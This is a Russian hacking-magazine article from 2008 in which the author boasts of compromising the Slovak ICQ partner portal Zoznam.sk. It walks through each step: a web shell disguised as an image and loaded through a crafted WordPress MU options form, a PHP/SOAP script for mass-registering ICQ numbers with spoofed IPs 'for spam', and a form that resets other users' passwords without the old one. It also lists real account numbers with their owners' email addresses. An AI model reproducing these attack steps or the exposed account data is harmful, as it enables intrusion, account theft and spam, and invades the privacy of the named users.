Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 117, СЕНТЯБРЬ 2008 г.

Словацкая тетя Ася: Взлом локализованного партнера ICQ

Маг (icq 884888)



Помнишь прошлогодний взлом украинского локализованного партнера Icq.ComBigmir.Net? Теперь настала очередь словацкого аналогичного портала – Zoznam.Sk! История повторяется!

Поиски партнера

Как-то раз мне пришла идея проверить всех локализованных партнеров тети Аси на наличие распространенных паблик движков. Поиски увенчались успехом на словацком портале Zoznam.Sk, а, если точнее, – по адресу blog.zoznam.sk. Радости не было предела, когда, открыв html-исходник страницы, я увидел чарующую надпись:

<meta name="generator" content="WordPress wordpress-mu-1.2.5" />

Хотя паблик эксплойтов под эту мультипользовательскую версию вордпресса на тот момент не существовало (Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit, находящийся по адресу milw0rm.com/exploits/5066, появился гораздо позже), у меня уже были кое-какие догадки по поводу возможности включения произвольных плагинов в MU-версию вордпресса. В прошлогодних номерах ][ я, кстати, описывал похожий способ – если что, поднимай подшивку.
Недолго думая, я принялся за взлом.

Протроянивание MU

Пройдя по адресу http://blog.zoznam.sk/wp-signup.php, я заполнил необходимые поля и создал блог с новым именем http://hijacked.blog.zoznam.sk.
После того, как на мыло мне прилетел пароль от вновь созданного блога, я зашел в админку по адресу http://hijacked.blog.zoznam.sk/wp-admin. В окне создания нового поста я загрузил свой веб-шелл, замаскированный под картинку (это было нетрудно, так как вордпресс вообще не проверяет содержимое загружаемого файла, а лишь смотрит его расширение). Необходимо было найти полный path до моего шелла. Сделать это было также нетрудно. Мне сильно помогла утилита экспорта содержимого блога, расположенная по адресу http://hijacked.blog.zoznam.sk/wp-admin/export.php?download. Она показала, что мой веб-шелл находится в www/blog.zoznam.sk/wp-content/blogs.dir/680/files/2008/01/mywebshell.jpg.

Теперь требовалось наваять простенький html-эксплойт для включения шелла в активные плагины. Для этого я зашел на страничку http://hijacked.blog.zoznam.sk/wp-admin/options-general.php, сохранил ее к себе на винт и открыл в текстовом редакторе. Изменить нужно было следующие поля:

<form method="post" action="options.php"> на <form method="post" action="http://hijacked.blog.zoznam.sk/wp-admin/options.php">
<input name="blogname" type="text" id="blogname" value="vasya" size="40" maxlength="20" /> на <input name="active_plugins"/>
<input name="blogdescription" type="text" id="blogdescription" style="width: 95%" /> на <input name="db_version"/>
<input type="hidden" name="page_options" value="blogname,blogdescription,new_admin_email,users_can_register,gmt_offset,date_format,time_format,start_of_week,comment_registration,WPLANG,language" /> на <input type="hidden" name="page_options" value="active_plugins,db_version" />

Открыв страничку у себя в браузере, я прописал значения в полях ввода:

../blogs.dir/680/files/2008/01/mywebshell.jpg в active_plugins
и 1 в db_version

Цифра «1» в поле с версией базы данных нужна для правильного включения плагинов. Старые версии вордпресса хранят адреса включенных плагинов в БД в виде списка, а новые – в виде сериализованного массива. При изменении версии БД на более старую вордпресс автоматически перебрасывает на страницу upgrade.php, где текстовые списки плагинов конвертируются в сериализованный массив.

На сервере Зознама

После отсылки нужных данных из моей ядовитой формы, а также апгрейда блога, – я увидел свой новоиспеченный шелл по адресу http://hijacked.blog.zoznam.sk/index.php?loleg. И почему-то мне не показался необычным тот факт, что все директории и файлы на сервере словацкого партнера аси оказались открыты на запись :).

Вариантов, что делать дальше, было много. Можно слить себе всю базу данных асек зознама (но я знал, что ценных шестизнаков там нет), а можно, по аналогии с бигмиром, написать реггер асек – и просто сидеть «рыбачить» красивые номера. Выбрав второй вариант и опираясь на скрипты для доступа к ICQ IPS API, сохранившиеся с бигмира, я и принялся за реггер асек.

Реггер, реггер

Я решил изучить возможные нововведения в интерфейсе IPS и составил простенький php-скрипт:

<?
$site='ips.icq.com';
$path='/icq.php?wsdl';
$data='';
$out = "POST $path HTTP/1.1rn";
$out .= "Host: $sitern";
$out .= "Content-type: text/xmlrn";
$out .= "Connection: Closern";
$out .= 'Content-Length: ' . strlen($data) . "rn";
$out .= "SOAPAction: https://ips.icq.com/icq.phprn";
$out .= "User-Agent: Operarn";
$out .= "Referer: http://icq.zoznam.skrn";
$out .= "Cookie: 1rnrn";
fwrite($fp, $out.$data);
$shnyaga='';
while (!feof($fp))
{
$shnyaga .=fread($fp, 4800);
}
fclose($fp);
print $shnyaga;
?>

Самое интересное, что я вынес из ответа сервера, было обязательное указание IP-адреса при регистрации нового UIN. Но вся соль в том, что ip-адрес при отправке пакета реги можно было указать любой (хоть 127.0.0.1, хоть 1.1.1.1). Для проверки я написал простейший веб-реггер, который отправлял в цикле на сервер аси следующий пакет данных SOAP:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns="urn:ICQServer" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<mns:icqRegister xmlns:mns="urn:ICQServer" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<params xsi:type="tns:RegistrationObject">
<password xsi:type="xsd:string">ПАРОЛЬ</password>
<email xsi:type="xsd:string">МЫЛО</email>
<nick xsi:type="xsd:string"><![CDATA[НИК]]></nick>
<ip xsi:type="xsd:string">РАНДОМНЫЙ_IP</ip>
<id xsi:type="xsd:string">РАНДОМНОЕ_ЧИСЛО</id>
</params>
</mns:icqRegister>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Но на этом, конечно, нельзя было останавливаться. Как и в случае с бигмиром, один добрый человек написал многопоточный GUI-реггер на Делфях. Я оставил к нему свой гейт на сервере зознама (его ты также сможешь увидеть на скриншоте). Добавлю лишь, что скорость регистрации новых 9-знаков составляла 12 pps. В итоге мы нарегали около полумиллиона свежих асечных UIN’ов, среди которых частенько попадались слоники и XY-номера.

Пароль не нужен

Я решил не останавливаться на одной только регистрации номеров и еще немного исследовать асечные SOAP-интерфейсы. Пробежавшись взглядом по IPS, я вспомнил, что локализованным партнерам можно менять пароли на номерах, привязанных к ним, зная только мыло и UIN, без знания своего пароля (так как доступа к основной базе данных Зознама у меня все равно не было, это могло оказаться очень полезным). SOAP-запись, отвечавшая за эту нехитрую операцию, выглядела вот так:

<complexType name="ChangePassObject">
<all>
<element name="password" type="xsd:string" />
<element name="uin" type="xsd:string" />
<element name="ip" type="xsd:string" />
<element name="email" type="xsd:string" />
<element name="newpass" type="xsd:string" />
<element name="id" type="xsd:string" />
</all>
</complexType>

Взяв за основу тот факт, что <element name="password" type="xsd:string" /> является необязательным элементом при составлении запроса на смену пароля к привязанному номеру, я в очередной раз задействовал все свои кодерские способности. И написал новый скрипт, который отправлял пакет на смену пароля к номеру и имел следующие поля:

<form method="POST" action="?">
UIN<br/>
<input name="uin" value=""/><br/>
мыло от него<br/>
<input name="email" value=""/><br/>
новый пасс<br/>
<input name="newpass" value=""/><br/>
<input type="submit" value="Сменить пассворд!"/>
</form>

Оставалось найти несколько нумов, привязанных к зознаму. Что я успешно и сделал, заюзав поиск на форуме асечного портала asechka.ru. Подопытными номерами стали:

100796;dimka4u@zoznam.sk
127744;Jozef.Kaffka@zoznam.sk
250020;typekFernando@zoznam.sk
272768;p0var@zoznam.sk
344365;eliran82@zoznam.sk
404196;Michaela.Mullerova@zoznam.sk
422222;422222@zoznam.sk
481008;mirec1234@zoznam.sk
506208;E.EWRgt@zoznam.sk
555885;ko27nm90pcx@zoznam.sk
661117;iml@zmail.sk

Это были единственные 6-знаки, хранившиеся в базе данных zoznam.sk. Применив к ним свой нехитрый скрипт, я убедился, что старый пароль действительно не нужно указывать. Пароли успешно сменились. Но так как я очень добрый человек, я решил отдать все номера обратно их владельцам.

Удачного общения в асе

И вновь адским образом взломан очередной локализованный партнер тети Аси! Как и прежде – благодаря моему любимому вордпрессу. Было зарегано много новых 9-знаков для спама и прочих целей. Удалось пошатнуть авторитет не только крупнейшего интернет-портала, но и самой Icq.сom, которая при регистрации новых номеров до сих пор немного подтормаживает.

Ни одна из упомянутых в статье уязвимостей не закрыта до сих пор (правда, блоги на зознаме я обезопасил от последующих взломов описанным способом).
По околоасечному миру ходит непроверенная информация о взломе чешского партнера аськи http://atlas.cz. Поэтому советую никогда не использовать локализованных партнеров и их привязки, а юзать только проверенный временем (хотя и тоже несколько раз взломанный) icq.com.

WWW

DVD

На нашем диске мы выложили 100k зарегистрированных на зознаме номеров с паролями в придачу. Перед тем, как ты их будешь использовать в каких-либо целях, спешу напомнить, что спам незаконен!

DANGER

Информация предоставляется исключительно к ознакомлению и размышлению. Никакая часть этой статьи не может быть использована во вред. В обратном случае ни автор, ни редакция не несут ответственности за возможный ущерб, причиненный материалами данной статьи.

Содержание
ttfb: 4.2879581451416 ms